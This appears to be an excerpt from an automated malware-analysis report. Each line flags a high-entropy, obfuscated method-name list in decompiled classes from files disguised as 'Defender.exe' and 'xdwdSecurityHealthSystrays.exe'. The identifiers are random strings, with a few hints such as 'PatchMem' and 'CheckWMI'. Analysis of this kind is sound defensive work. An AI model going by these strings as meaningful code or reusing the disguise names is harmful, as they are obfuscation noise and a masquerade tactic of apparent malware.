Source: FixerNerest.exe.0.dr, huigHuEqBhxV.cs	High entropy of concatenated method names: 'xSzRXLdUGGB', 'ZKUsvmanhRBy', 'vZyEKNVIgqk', 'NjhhmbnhYi', 'jyFuXiXfRAOclfQwtfzt', 'jqhDsFvqNReNpOGE', 'yaILTBzHwBVeuCZ', 'PzHYqfccpDjjPvRJsagYlI', 'phwwEZLTPFYaOy', 'cTxgVQRQrAkMmUVADGj'
Source: xdwdSecurityHealthSystrays.exe.2.dr, jzPbPTOKMYzy.cs	High entropy of concatenated method names: 'BvqjRKKKxZ', 'uDiLLLnYqoyNDjxaBj', 'wrmnqWmDlFvylaogMkC', 'BkbHODinAUkJbTciHPsoYHCSv', 'MmOCkpyjdMQfZnozDQVlXS', 'GYxsNbthILYqvZxjuKrpQRcqF', 'ZElxJSupIe', 'xkIkeITAwsaGhaafcgowHm', 'BowLBFwFQTwxZi', 'mJJpIHzxEXj'
Source: xdwdSecurityHealthSystrays.exe.2.dr, YsWKUSVaFowa.cs	High entropy of concatenated method names: 'tTvXthIVExoTsvxLtZ', 'UtwrBhuHZMwXhFxGlCAkunm', 'vhqbXXOMOCFiwbtp', 'ajIHaHOvoMItpzhHbwUrSjByk', 'ezPJJJKkTDdM', 'acfiKFTZDYaUeZyh', 'iJXRcOgfCziEfddPbtOmBrs', 'iabooejMDcVUpDx', 'zCHFkVYvxFDfju', 'qQGiBmsqYPWBDHJaXvAnyj'
Source: xdwdSecurityHealthSystrays.exe.2.dr, BElgoLHogWQNwYHuUgCDSGRK.cs	High entropy of concatenated method names: 'baJZzPuRxNSmGjUn', 'WwdzYoCecRRlcvn', 'LNlxOgGVwyKpHOwiPA', 'VgVDlHuXycgVReLuWjpDp', 'HDZeMXNUjVcLStqJzqUIIt', 'dsKvTayZwufZRe', 'uXKetLtGMREM', 'yighOovmCbttlvfRmUZfr', 'xyezEkmydPNOaONyKdiVrvQk', 'PNoZxfgsClhC'
Source: xdwdSecurityHealthSystrays.exe.2.dr, xqLvAWoeLo.cs	High entropy of concatenated method names: 'CdUisxkdFkFeaDfLWDmvGKKb', 'BzDhNhZlzFIpfXjDqWRsL', 'rULSaZsqrTsxqxhwsCfsb', 'XWqgDsPosiYRHiWvHztJNowhg', 'VtePMSIswobuWAaDaJYYp', 'awvfzRliaJzRXVJdWFIPmhTMd', 'jJOmJHwWThTgTrHNOSvFdEu', 'nSQaMtdiCGibUnzrVBCcJpmRH', 'SBRYPfPRyqrVJaDle', 'JftaSDjbBRmyg'
Source: xdwdSecurityHealthSystrays.exe.2.dr, ETYzyWSLPrOWhkiLrBuXTiPY.cs	High entropy of concatenated method names: 'oOWCJmYcQnvjThiXoz', 'ihhMfqXbAabVEzYJI', 'JFEqtQwnbXULzejrptHBrLmL', 'CpSrkuXabftSsnQPr', 'zGoawmMJeCGFxT', 'TrbevrdxlYzpYxGqmzxnEib', 'ffaQUTWhaZZvplwXWJDCxwn', 'YMUFAfokPiyQR', 'cSCRPzYKBBCZR', 'fZvirOsIyQhukogGmgGJglAg'
Source: xdwdSecurityHealthSystrays.exe.2.dr, LRPADrZpfFFGcDsfIXCuiNHyQ.cs	High entropy of concatenated method names: '_003CRun_003Eb__1_0', 'MVeqnrHUVu', 'JPRxKQjqNiQvhhLWOJIH', 'NtWrdHcWXWDpoPep', 'ZGRNcTvawIbVsLMnPvWvGhI', 'TpMNGsRhgWjB', 'FkaaRgzBBeKqCZTHtlrxKu', 'GiUDrtoWbKxJLwVpAJFSL', 'WDTyZmksEe', 'yTrxcIHMHifFP'
Source: xdwdSecurityHealthSystrays.exe.2.dr, PthsnsfGDgeBRScSJU.cs	High entropy of concatenated method names: 'WPvtoNyDLTEGaSogXzMEc', 'kzIqtnFcyd', 'EDdQWEFDXUaxCBQpXUsAf', 'VfvlxTKxiVbT', 'PLQAvHAFgJCFocyi', 'GcHvhxUkGltZ', 'EVjfBeGTwseCpVtgIqMPa', 'zMahNwQoWHgvEg', 'JbTboJkctscaExug', 'KpWWETQKDIWXW'
Source: xdwdSecurityHealthSystrays.exe.2.dr, BtukVaynkFNDYhxzrBxPukEK.cs	High entropy of concatenated method names: 'LDSFFMGTtUhoJCk', 'sLtZydnlXBapozRpkTKX', 'iftHjeNQKhzMhCYKlRh', 'hhDmQfuDrEprNCJ', 'ARPyZUMUacGwsfyCdGx', 'bHqEkJYGrH', 'essJTCiqMVjLoYxLMFnOGFJEs', 'KOQwFcTdcEzVfAuQlf', 'wCgmxLBEtsZjoRtrUZPPGrL', 'tMqanUqUdLwYecSlEXakCVLE'
Source: xdwdSecurityHealthSystrays.exe.2.dr, RBUgQcjHqRKyAa.cs	High entropy of concatenated method names: 'LEZdqsNhpolJzZovnnEEjVKsk', 'dNRuNpUSUgxp', 'VETfseTjhBW', 'KvVPptgskOzQubwoh', 'IxxijAPqSNQ', 'wMuWCtzCfmQwUGED', 'RifCcsZacMVzybScNSnVY', 'CoeYVhANcvLGBflUT', 'VvZhdDhLxUGoQiM', 'fqYEWraOjZnranqtzUzczUK'
Source: xdwdSecurityHealthSystrays.exe.2.dr, nKgpeZgSTykSYtSbbSV.cs	High entropy of concatenated method names: 'wDxqnrGACQoWOIdDYryoSu', 'fvaMQMFUkvxj', 'NqBnSgQCKODPQODjTgXBu', 'vNfpnxwEaRYtqip', 'WmeGVgWwAxClQ', 'ZipuvnHcsSGGnm', 'XYVuIKkXoxOripqvKnMrqDv', 'BDttLzPtjGdYgqIEpKBxgw', 'mCXvSbuzTdisEQrLo', 'UHcLROUfHCfCyGFfGrnE'
Source: xdwdSecurityHealthSystrays.exe.2.dr, KUSnSKgmYFGAeAocidYkujJO.cs	High entropy of concatenated method names: 'dQTkcSfTfReMTMW', 'nbVGmtdTwMWaBBaKDUp', 'NCwnahzjKPORBEGInIgjnznQ', 'FRdqTJzXcSlfifFutJhxFYwv', 'XvoFGNOfrVPVsrG', 'tYmVdFcbptqGSr', 'UiYwNLRWFWzqKpYBRajL', 'KaoSTMQMWINAounTvtDcBgydO', 'lQsYfjfhKIjetyA', 'iOmqWulhWhfiy'
Source: xdwdSecurityHealthSystrays.exe.2.dr, QUoppAEiUBFBpPJBwNJfiPqyc.cs	High entropy of concatenated method names: 'XCJldFJktkEUIpCWsEd', 'VqhiakofQAepMKcCYjXArEW', 'wbFUcMXlVkJgUbLtQ', 'UsGPHxNAxJgdAQTIlyf', 'CEdsUcAvhxYejMke', 'hUHGcOOErjsNMpM', 'vcQONvexRSAkCt', 'gppDeXNZpPncsHiVHLQnkT', 'EmpKpJNdCywMXW', 'ipiCazaSmpixsZmFDNZkR'
Source: xdwdSecurityHealthSystrays.exe.2.dr, telTuMtmMwDpKCkMfRoN.cs	High entropy of concatenated method names: 'rIpEftCdsi', 'wFYJaLGHcSGHka', 'HsDemLphCVvPOTqI', 'NptFeblULhkjlAEd', 'lKZNwCHXWnevr', 'lJltvhPdRRKadExRUrmDhg', 'GQmmhInHYUtyazGIvwIs', 'CWYCaESmJnFF', 'fdJvhUdKlFkFXSOiqH', 'naDuNjHDVUPhntyTd'
Source: xdwdSecurityHealthSystrays.exe.2.dr, sMngcJoYCfD.cs	High entropy of concatenated method names: 'NqoQEpSsTwLvYLG', 'xShVFAtygovIPJLQgVcbDDWW', 'slwAsIRDrakyhLMxpjPu', 'dKlvODjesuvKn', 'OxyogdEXiaSyJP', 'OTHcXObKFdFiZzgonux', 'zrviQGGcKdQtTAebnhQynmsKb', 'fYBmeELReWXYMQIzAcMLOZUF', 'FdzKMykHUb', 'aYyMhCVHDPVzqomQyPhF'
Source: xdwdSecurityHealthSystrays.exe.2.dr, dSDmXFmcLQpf.cs	High entropy of concatenated method names: 'ziEklDxOoeZAgCB', 'dMTBarzvetSRkatBLDS', 'snqYEtpndmqDlxhEVdqHjJFrk', 'dOlYockDlpWvwgCLSsC', 'fmspfiNKNjhynY', 'bCFyNThLshagJF', 'rNpUAqVvsGPZpBHXH', 'QaIMtowybAHFBDEps'
Source: xdwdSecurityHealthSystrays.exe.2.dr, tGwhiEvIelEIF.cs	High entropy of concatenated method names: 'qbVYeRUeKDssh', 'pMIWvEsBuMeRjSQsQVFHT', 'oFjNrOwtopXJTSciMBTog', 'uMiCORmWmZSD', 'CmiNdFBXotZyyPiIE', 'eFfLXfoAeGRCxqQuavenpi', 'lFSIEPBDNikoxsrPCYd', 'uFlvihEpneQzvauFEW', 'lcCDUMCTCigbPMHkfTWaW', 'LQjRlsXxmKgor'
Source: xdwdSecurityHealthSystrays.exe.2.dr, bemziMhmpmMerLdV.cs	High entropy of concatenated method names: 'yWKGRtOTIcUqxtNSNbPM', 'VlsSCCkNTeEwH', 'asNKkYgakMwrszLdjNJ', 'clSoOreFoxQtpOmZ', 'RfoevAfVKJ', 'CquqnmCpaYvttbmmwDCeM', 'cSiUrhknSEhtDyDZFDMxz', 'VmuCINiRIfYQOcITvV', 'mFrLzYojXyy', 'OlAwvZoYWEBvCVm'
Source: xdwdSecurityHealthSystrays.exe.2.dr, mDQHYyyDgioFBJZV.cs	High entropy of concatenated method names: 'yJRtvjLKoz', 'uGmefcsTfwexqBNYFzT', 'CsUetdcqUExkzUJawJZZQFpE', 'MbrhLGKUDbBlIlCz', 'zayuyWsnbv', 'ufwCQKgBkJIynPwsIo', 'XXZOGPFZOFztjKkaYeyVxE', 'PtqcLfCdjz', 'XCUQqnKkSwkPZnDoYOKTqT', 'KVPnuuMbQuvnhFHnK'
Source: xdwdSecurityHealthSystrays.exe.2.dr, GwWhqodDdzluu.cs	High entropy of concatenated method names: 'IvIOGuRhWYFMuHjkQGxan', 'HaLHdRFAtRAByccwKJtZa', 'betVTtifxUzXoiDzRzbVeoLtI', 'ITvngOKKygNH', 'MSOUfCbousLstxESmTAMMlOjJ', 'kMdjWlJBODQUfqhSNbkunR', 'rMNNulbDfKs', 'OKKWairiBCSnKfu', 'nzPATGmXIYPQnAlKn', 'SHCEJLviEptaDOrEP'
Source: xdwdSecurityHealthSystrays.exe.2.dr, KZBUhkwxZIxgGTHyBUdIA.cs	High entropy of concatenated method names: 'qihQwZMWKRbXaA', 'vzbnqyYoZdKgkd', 'hekvjSnQoWkDygEi', 'GlGVCUJQRuInlscsokxnfRu', 'inQFuaIUvRay', 'AfKbfRYedCdIKJvHv', 'pqxmOEEVqlosUS', 'VoFnLzzVdElmxjRMMzD', 'HZNQGXKbmqliKepVqUjOq', 'ThdRGlZZcsQiVvao'
Source: xdwdSecurityHealthSystrays.exe.2.dr, yPMoFGhLUJIDtqrdoF.cs	High entropy of concatenated method names: 'AvNubljotLBITSjnNSJvirWcI', 'HgspljehAflVlDV', 'ozSAolKCeLeJRJZ', 'lJeCvDZRdmSDCrgFZPDWJ', 'dVWpKaEUPqGA', 'cZSWkaAXBSGAmeYjBFCb', 'fIgGtzNIWbxBIEgGsTw', 'kbDQpYvflNlE', 'FwRmQranOfrIzeZsd', 'mFStEFQQUDhX'
Source: xdwdSecurityHealthSystrays.exe.2.dr, MKCDlISAepQIcIwuZXoEk.cs	High entropy of concatenated method names: 'nHEaTzoWxQZ', 'AFjLdhQolFyaNVhcozCG', 'IXuzKpTMHs', 'jvIrKOuGnv', 'hJdNyRMiyOTerho', 'TsxcdMyrRMpRZ', 'vSGqplVwqBz', 'tmQRRKVCaNqSoVKmv', 'bvJtSAYBrDqWCwcESMbAv', 'vWdhcoBUajAEZEPATPs'
Source: xdwdSecurityHealthSystrays.exe.2.dr, iEyzZzYuVgHBHuvSVDszSVn.cs	High entropy of concatenated method names: 'DmzaqXtfORSlWFCGyP', 'lfPhiSWydevaNQWwnzxExmcnp', 'JwQAlBCYBwnFRITZQB', 'rFUAJPGAKzzDcrG', 'aicsuXpPaIii', 'lYWbUyWovHlfBrYBtKNLzs', 'nIYTQFZAhXLZbdbItjTearM', 'gQNhyUXpshjSvfGjWHDHqRx', 'RCTcfNQvvfmzrsCMA', 'gtuJMOckITnFCOTp'
Source: xdwdSecurityHealthSystrays.exe.2.dr, DablsyKhVktwZXmMx.cs	High entropy of concatenated method names: 'GJKVxgQvPV', 'ydsOfJeQCVbYa', 'jderwMUjgNj', 'hdvVwjoVWGAitO', 'vuhfkkRNDlDS', 'sOwefQcBVhYr', 'FiccwyhFZpziyfQPrjtQf', 'HKWCdmGZMInzejlbpF', 'ESZwwglLleyfbFcaSGtUv', 'zcruyAgeQunfbKhNZWraUvOdM'
Source: xdwdSecurityHealthSystrays.exe.2.dr, IGWfOAHKzj.cs	High entropy of concatenated method names: 'INjbkoTBDyDO', 'wmyuTvpUiWQ', 'AqsFUenQBM', 'jQbBhUpDFsQjcCMqDunZrTYk', 'bwjUQxEkrOeruIAtSLKjHQCIo', 'WOmDPsrEFYFjpvLyknhzJ', 'nfYHNBqLubgfaqxoymzqC', 'njWPXIgOaoblaGeIeq', 'udeDJVVBvovzTj', 'rpkydhffArEoP'
Source: xdwdSecurityHealthSystrays.exe.2.dr, MLOzRvMQYDeslGhSiqRrD.cs	High entropy of concatenated method names: 'CNbGrDSdnbyQMNsuzSIDmHHwh', 'OvZLrOhNIBYL', 'IyuQCtVtTZn', 'zizMvGeYkpWEckjizFqVoOA', 'rrECLNvVlUr', 'hBNvtmSTbqoSJnuOjSC', 'iuUDBcMXuBSHsEBysvbCv', 'eBDltYShmTSGwngJtRZ', 'ZZXgaFmwVnqAqCPSzPjnENPz', 'mHNRiCJczHEeWLnmWLzcSQ'
Source: xdwdSecurityHealthSystrays.exe.2.dr, wEmPlHwvhkVaXVXBaeahaqAX.cs	High entropy of concatenated method names: 'mVGvXKixJGKPShLgxTQRR', 'DSxNmbKUFEOd', 'lqAJZncNPNmHwPAcXkGTdSoxK', 'GnpAGApjZqxJqeown', 'LFpMJriUIJV', 'CCzBgpYPGlSNpKfO', 'cfhejlEiudxSmsfNGouJpxzX', 'yamcXzMTageopTRvS', 'LaxUtnzjVlFEefJGlLSGW', 'kyLLAZQVdOXKnxbdgzc'
Source: xdwdSecurityHealthSystrays.exe.2.dr, VyUkcpVGFrRjScwyVUzGJWx.cs	High entropy of concatenated method names: 'OePLlmVmuhYaBYdb', 'gqiCsQpYwtMwaj', 'BxVxZJVTVeolEVwxrXrcgPUVO', 'notJpUyZZECfCFLXMX', 'fkCAwVYiGSl', 'AjzWgZMpUnewsuLVmRI', 'wRjpkownQm', 'GnaCwCifxzijrFGHBKDwpKj', 'iAKlrcZYivYIRsPTElKC', 'hrjegvdNpCwEtT'
Source: xdwdSecurityHealthSystrays.exe.2.dr, wdeXDEGcBGXHfb.cs	High entropy of concatenated method names: 'jqVCxngNkCJLbpWAhWqYuD', 'xyOjvRjBjAzlFnTqcQPtVutem', 'GploDvgqXDiDkvBAZLb', 'RMOfNIfJeCF', 'xQLtQvwEFOPPHZfTsUVhC', 'NtbFavQWMUxzGUkHkeOX', 'CxyYocLRKhXhODRSKUBoiCuSI', 'LjljqTfjLwdhlSE', 'BnZRrQTpaJN', 'QzCgPWRcgaqEBfsUpcii'
Source: xdwdSecurityHealthSystrays.exe.2.dr, YgTRUqGyvMDPAwIs.cs	High entropy of concatenated method names: 'fLfZnpCMphhn', 'QYIhRtBHNJYx', 'aZFOqCvjkyFwkrREfJYK', 'vfHTfOrARCGcHOcHbqesZ', 'ZDkgCjCizznueuyvLnDj', 'wyUdcoxESuSNOFD', 'yMIyiCHpNkiIgfqoqOdF', 'DavFehFUgPouMMb', 'ljtqfQrFoYnDdXAbxRumMsEU', 'UgVtNTSPsF'
Source: xdwdSecurityHealthSystrays.exe.2.dr, rLSyZeyiGXQodFFJuqzb.cs	High entropy of concatenated method names: 'jiyzoISeTlwlTJHcrob', 'USYqMKRKXONmGEIdT', 'kWfDmmUCJvyhCCXCIQJHndrHH', 'XJeOBdItDFt', 'fmWJBVMqMKPDwrT', 'LGfXvhOKYuuUY', 'ySJrkXlecVvR', 'NuaSKKwiwZWWyXLlHbsRDMx', 'FGwbheKbdoBQxbkKcbBtmUmA', 'sUuCAqAxgNDNVASPu'
Source: xdwdSecurityHealthSystrays.exe.2.dr, UsOroEkJQwDdcBlH.cs	High entropy of concatenated method names: 'tZXWLhbpGPMmxia', 'gBfOIplZEVfpAhsPo', 'gTNzJKmBhpYXSO', 'DvzGsJEoySqClpZWwxj', 'GMhsVbHHwA', 'CRLwltJwEbePhTIBLISc', 'jMWrOHlQCwrxkolZt', 'dmAfabwzYMavzeYHTFpEWl', 'gCfnSxfWbSUoqYDmu', 'PiYpGwNYcUgkpQsNUduoeCtq'
Source: xdwdSecurityHealthSystrays.exe.2.dr, OdvZLjiZSxuvnfJkBWEwenrQv.cs	High entropy of concatenated method names: 'fijjjKQXRKunlovkWbVST', 'LZySRCSamfdbDzqjOj', 'QOzqOlQAtRPudQCWKkQ', 'NEqXPJJkwumNlnDOMjkhBCZ', 'XkAKBcgzxqRL', 'cbFbgDyeBJpNnKbAj', 'LehAeIziTOnQvWrqkIfFVya', 'VbKwNSFzNyFgqcwwcxk', 'rlNTWxaSVeWNEDeCxCUBJ', 'CwQKAHLidYNqmjOraQrmdj'
Source: xdwdSecurityHealthSystrays.exe.2.dr, GcBxRdNtfCWHQtExiPKZUa.cs	High entropy of concatenated method names: 'UoExhHdtqM', 'UOdaJDZllFLdPIOCZ', 'ESTgchINgf', 'CJgurZpUIFGAjovILppSE', 'qmuFomvRwXt', 'iwfiXjYiQx', 'RkrgZxXqMgzStzlkDYqIiHiFy', 'cRGuWmspdUwFWUYggT', 'dmjmyVKapOKCmiwUGkSK', 'ZEWQoxBWjBaOV'
Source: xdwdSecurityHealthSystrays.exe.2.dr, lQeQOakgBgLnYzXnYfwvsoR.cs	High entropy of concatenated method names: 'ztAfILOSPvBxRhPeW', 'MOeRMzlJYbiMAxz', 'RUaFYpRtYdy', 'WrPRZbbCvihAtymmk', 'uExMQuEQsX', 'ksiBLnhMQnYVxJimZMZCeIVit', 'JaUNIjEFKpyzhLFaUO', 'iADiIeETUScXAHje', 'rCfpRrzsnaeO', 'DoGMLbGsMiDQjmiSyrxhyjRjg'
Source: xdwdSecurityHealthSystrays.exe.2.dr, QKvpyubntApnPp.cs	High entropy of concatenated method names: 'hJIcmsLfiJhZvvAbDBp', 'EspKISPavnCRQTuIAPHUFeMfR', 'fssYmmasapUyUTdk', 'vGQIcAsanuVsafJtmmWhX', 'QrXtFoCunr', 'uRZAMDsAxysEAAJK', 'hgGDNtqZliv', 'YsGdXfOksaj', 'hZDYmWtvexNGkRhXjba', 'xwZFlbcUvaMHxcVo'
Source: xdwdSecurityHealthSystrays.exe.2.dr, UyrKerXTOPAkHBLRj.cs	High entropy of concatenated method names: 'xHcODEjHiYWqy', 'EJpsKwGfhupd', 'CWdwiUYXYwGunaX', 'zwXQtgyMSHnF', 'aiYamglEcoWajfM', 'xWVjWixRMYWYRdbhSFyO', 'UBulEWIBpJBldVkRWvrk', 'NNKMnyMpHegy', 'cVbxSLpQXO', 'moIqPwJGdaGnkZQY'
Source: xdwdSecurityHealthSystrays.exe.2.dr, DyVsvFOlHVfMrKKxFhxnMGPwa.cs	High entropy of concatenated method names: 'UOBIcuNOdorNUcDDOJeNW', 'qYfMcxmwjYSJ', 'zjzslzdhWFsNVkIsGRNPM', 'ccPRPbgETvKrDUPQt', 'taUTnzHNdEdHFu', 'cGWdTkCARmxCdhocp', 'zVlDJpQJCxcbMpQSb', 'snadrZDgqxdgpb', 'jFYnYxhMJhEYpaHmKFbkBx', 'eLzczTgVIAncjrfC'
Source: xdwdSecurityHealthSystrays.exe.2.dr, ZuoBsZuxQp.cs	High entropy of concatenated method names: 'SHBkDQrVYFDLTTvsBYvfZhpj', 'gYWmBNPyZhN', 'eYHZjmwWjUiwgs', 'UKVlSRfWsUjXsoNul', 'eXAnGpvsNVMqZFIouoEv', 'wyBPEAPEhWawOBVYhDgqZEKK', 'vdPEtYqpni', 'yXCofnfzmtLDmPNkX', 'VrorOIWAAox', 'GaTxaJBrKlYKXHkacogoS'
Source: xdwdSecurityHealthSystrays.exe.2.dr, EUTyJunaVjfLziLg.cs	High entropy of concatenated method names: 'eegtQQmoHQzAznEMVfEOJG', 'mpQAlxnqMRkwy', 'boDgKBdnaWv', 'yeCGRgXTuEzQBqUZmj', 'rGItrBizEhyPuE', 'yIoFzEYfJXome', 'hEAqHDUqkLFihTmv', 'FMrrLlhjKTbyWDODeXcxYm', 'qIYdzRWFsN', 'iancWTTHxksrOIrfCwJy'
Source: xdwdSecurityHealthSystrays.exe.2.dr, bRFnUZCCzOQQktsWRhAHLOd.cs	High entropy of concatenated method names: 'TGSpzALbonWVUFvPhnynv', 'aYLwQxxWgMnTUO', 'MCzCpbwXWCLl', 'aYPqqEfteDjNeSHJiBlgI', 'lzkGndBotELMvIxw', 'PjOhyPoLIpOoBaEbFm', 'GkRBrpKfBRXyMlY', 'xunnjvueonAsdHkq', 'gqsxhWrnjmulqBCc', 'GhRzhKpmNDp'
Source: xdwdSecurityHealthSystrays.exe.2.dr, kvAdeNHhLAvFBnSPLsjXnmuh.cs	High entropy of concatenated method names: 'KkybJPQqfTa', 'wipTLzNCqsPo', 'CNYRIyBSZUdIGClePVTrGOJtE', 'mhfNRUKeGBsYXVZqXO', 'KExbXbXvwqoDf', 'gLTnMCIybvkmq', 'ySQqvguXpGImuZNoSxMLrJFCL', 'DLcBqkkYxdaxI', 'SIWNfZIjlndnaeHpNNfjdjuoP', 'BWbjNUoOtinsXlDUa'
Source: xdwdSecurityHealthSystrays.exe.2.dr, ZAbCfCqEpIJbZTdz.cs	High entropy of concatenated method names: 'lMkuXZVQmvhalwPheBIO', 'CtuNkNjquMbXlNsBaCaF', 'sHJdDMtuuRVlziTqhmMla', 'iFDAjXgEzhIxKmkjgAqvzuG', 'meYKtPOTLzYEaDdWOpSnc', 'YgGxFLveso', 'ROEyVKjTolKOgJdWUhKcSJkGs', 'wKCXgGkFJpZ', 'sfiUnQNSZncpbwiLf', 'dxGROZQRFDeb'
Source: xdwdSecurityHealthSystrays.exe.2.dr, iVqXiRRWbtTaFgrOCj.cs	High entropy of concatenated method names: 'YJwawjgILPSRH', 'bbkjAnvjKbzCCwZtLGH', 'VTlvtnCJFGJcMudE', 'fBvPpyVauhji', 'ELJnKHqppNkleES', 'pISUmgFMEgVQUzFSa', 'CxTZjWOSqnLdLtDDFZQOfY', 'xjemaVqHSLq', 'UEQYwFUpRA', 'UbMRugBMHerVpFjoxz'
Source: xdwdSecurityHealthSystrays.exe.2.dr, BeNEQBpvCUYMUQvO.cs	High entropy of concatenated method names: 'XmhJotRMrlZrDmPUAPXFV', 'FfmVReXiQT', 'fdcMNMlvsYQQ', 'zhJsTAXIPVg', 'WTbnoJVGjX', 'mHnCmKdepPjV', 'UfOPvzQIvKqtJHDOvJTcY', 'kgykxlqrmnxrTJvFK', 'GArxwIcDZPtFPtLxuhQLB', 'RDXDwSouTpzkVYfnjpH'
Source: xdwdSecurityHealthSystrays.exe.2.dr, XvtqplFAmRakHnvLtpT.cs	High entropy of concatenated method names: 'pvkIPFGCSkUuaiSakf', 'DDDjqbzHeeclvgGp', 'KkakfDiBwfKYVVbOUQ', 'lMtgQxbXqzZOUsrPz', 'kYAUhuvpjJJ', 'WbQjDPQDJn', 'fsCXRqgdFbI', 'rWRezkbOROpcxxlobyvvw', 'UcfWeyCgDYOrYMml', 'SiZmRCaZTErBGfN'
Source: xdwdSecurityHealthSystrays.exe.2.dr, YCqdhaRTimJInloXKuRkyyz.cs	High entropy of concatenated method names: 'uMCOJPwusgMn', 'PTXkYSNOqJWmprPoquZDj', 'VYCJTqPPHYBluatzagls', 'CfcUXhGClmj', 'gyzhOzXzbB', 'kDxovrUtSrfSsapvIJNVlRiNc', 'RMhOtcAirQatLKQtRLAfHHYD', 'pNgLSVjLBZIMEx', 'RKjZVPxCEs', 'XMxmKndzDO'
Source: xdwdSecurityHealthSystrays.exe.2.dr, FeMXZbEkIGjJgevW.cs	High entropy of concatenated method names: '_003CPatchMem_003Eb__0', 'SWUgQdUHKXCuFjoLy', 'roZsWKRBZOrvYxlj', 'OvZynxCHmSjPwJch', 'PJyZAKOPDFP', 'zFJWOaQYWErWkj', 'hldEPNUhbkvNlLjjrnsnNat', 'jMJhLSbpQSgdaBzBeXil', 'MeNnUzirweHsvVD', 'mWIJFxTeGJq'
Source: xdwdSecurityHealthSystrays.exe.2.dr, DqloyPCLKAxwlGUiNTrkNgO.cs	High entropy of concatenated method names: '_003CCheckWMI_003Eb__4_0', 'gHevnUUNJwNuWDCjJuZrjVqjS', 'lOeaFCHQdWAhvAN', 'AQZpTbUtpQex', 'KRucUiFjjqLmFa', 'ibyZeaVZKdyKulkoXJC', 'FFEbRHYQZNDOBpK', 'SFTnprkzVYLyzB', 'cDHadWXHWCEAwakJFaWWRq', 'dOUFFtwZRXZaKt'
Source: xdwdSecurityHealthSystrays.exe.2.dr, FaWSNiFOezDcTYVZCPLVUHimA.cs	High entropy of concatenated method names: 'aFVOrfwcWXAYK', 'QIRzuExzUkYGtUfysk', 'AHztQIYfqCyYeEj', 'MqirvPallpk', 'cxYfQFKTROBrWYGwVLuCK', 'SHJsWkhOHaXnDt', 'THYuPnxprVXJdPavibN', 'QVYjZmCHbUiVNSCDWHu', 'USRWzbDyhfpMqNNxjp', 'dkqNWnBvLNWYagkK'
Source: xdwdSecurityHealthSystrays.exe.2.dr, NmTBqnwpsuQacpSXxPF.cs	High entropy of concatenated method names: 'xuQERGGdzsmey', 'cVTmmTFkOSqSyIviF', 'ZXhTWOjjhTp', 'IlbFMwDLcm', 'MfxNzHxhRmh', 'apJzFCCmmuO', 'EqtvyeucnRVnY', 'kbjmYObhAP', 'xyJZzTSRnI', 'OBimsERJUWaE'
Source: Defender.exe.3.dr, lXExsaLrgYgEOOXK.cs	High entropy of concatenated method names: 'UwIbcfQhBviOX', 'cHxslOlqBYCceRobCYTdkZ', 'sJroPreddJ', 'ExRVmvaevkZzBzsZtJvtC', 'FFjtaVzWuZ', 'tMqKgmXDGeRTJqp', 'SlThPiCsLlsVFfYpz', 'ImBOMWYqvXnlaDlyglar', 'KKyyvuBxbFb', 'ciCUDZwJZneFaLpk'
Source: Defender.exe.3.dr, kInYBznLcEoeuDSs.cs	High entropy of concatenated method names: 'yWUqFwYbPOyiIfALmotlTxK', 'HotTDfGtAOhQjefMP', 'llpcTYoSIOZGWAMxiQCEYjHEi', 'yjcHJgWWMZheVUekXsTtrgDl', 'PKKYCdkuYaEqAEsjzonPDvhZ', 'MOkoDSgqLuWMxJvwkwuZtW', 'bKrrQWsTclkpOAGVIYAoKW', 'BerTTzmzuqbJeLaPU', 'ataNUgweamBthdE', 'pNYDZUplqznqbKiJgWjdw'
Source: Defender.exe.3.dr, uJXvYHzEhxLOfc.cs	High entropy of concatenated method names: 'SNWxJjZpddDWZAUIe', 'dlfCzIGMwkhjbfRrwqr', 'seUTuRVlaDMphkC', 'uPOOrxnoHtCXEhEeRMmzQLI', 'mVlsYsCqdaxgcdavqfMA', 'xgsziYVyCaiHfb', 'LvQPrLuekYComqIl', 'HUpottpUgsazPYwBEjvOwJCDC', 'agjiHupiALlg', 'CauKTTeVAFmhGMW'
Source: Defender.exe.3.dr, vTsoiPoBagCkfnEE.cs	High entropy of concatenated method names: 'AGXlggLTczEETmLnHvVvVfz', 'mWyAVsqBZzpXkkPmgUG', 'kxGurwXriJVUHrz', 'iLyjICeTwnCWg', 'PAZiupPEJYUySQeVQtlE', 'VVWHiSmxDuA', 'zuUuYwJudBaOK', 'OpbXJlbeueDbMWdHGeUn', 'WKarwbKbTvHxyEx', 'fkPjVAprxknRWuwu'
Source: Defender.exe.3.dr, OwtFvyBkOpRRzc.cs	High entropy of concatenated method names: 'DCLFoZlKenZ', 'CgtqbJuoLKkbarxoqh', 'DPnuJlizndmPSVVyDVyqH', 'ottRkewcwTw', 'VNPmkFsKHL', 'uSFFsuTsreybuBsAE', 'LgTSRzIjQl', 'yxycUyyfZDhdaFWXlVkrEnH', 'eFcBGwJdizthAyZDtVfydDsN', 'bXOgtpKpCyPWwYcuEvaLpXmv'
Source: Defender.exe.3.dr, ogkoRtQNRnFHYCnvNGTSgt.cs	High entropy of concatenated method names: 'oOnwkySUEoBZ', 'FbzfjIHajOZmiphQxTIvYwZdx', 'PySATXdopmGojYmgFAO', 'CIkEHUteZJBVi', 'tIIivBJtzvJ', 'kjJrrZPneGNO', 'yezOgklGffdYWEMAIJpuxjJ', 'iRcFuZmutpwXKfSL', 'DEEgSUUCmWwYUvPUe', 'OHfLGsiehHoqcrdVufF'
Source: Defender.exe.3.dr, iICVrXHYKfHIpFQXbL.cs	High entropy of concatenated method names: 'rFzCejHzsNZCU', 'HSyQLGECpvftBnpvEGjQsUj', 'XmjXOKldmRh', 'RGQFHoQEXliTKwITSDynir', 'YWgneJBGjGBdypdJDEfjlDQ', 'RBRKiTuFaOriaA', 'uVfyMITKdptuiDIHUGTWd', 'rXQMwDkyujCSkNGFDFyqnVo', 'LBRGWcGeIBdHhALPa', 'uKrQSvBPCNXmEWisBvm'
Source: Defender.exe.3.dr, lczhEUcowbNWQ.cs	High entropy of concatenated method names: 'nrEZEgZidL', 'ImHNwZvxzK', 'vnnRPpKUMKNBwpKLnJm', 'zngwhUbABSZ', 'rJwRmmQjYJyqulL', 'lOHnMHfHHqkvOJSuk', 'JmssYAtCepopBwICOnKlEkep', 'vBUVOqEGybZft', 'HuJcpSRonnLuejzrYICicz', 'hQykjCUjWVxDruIoW'
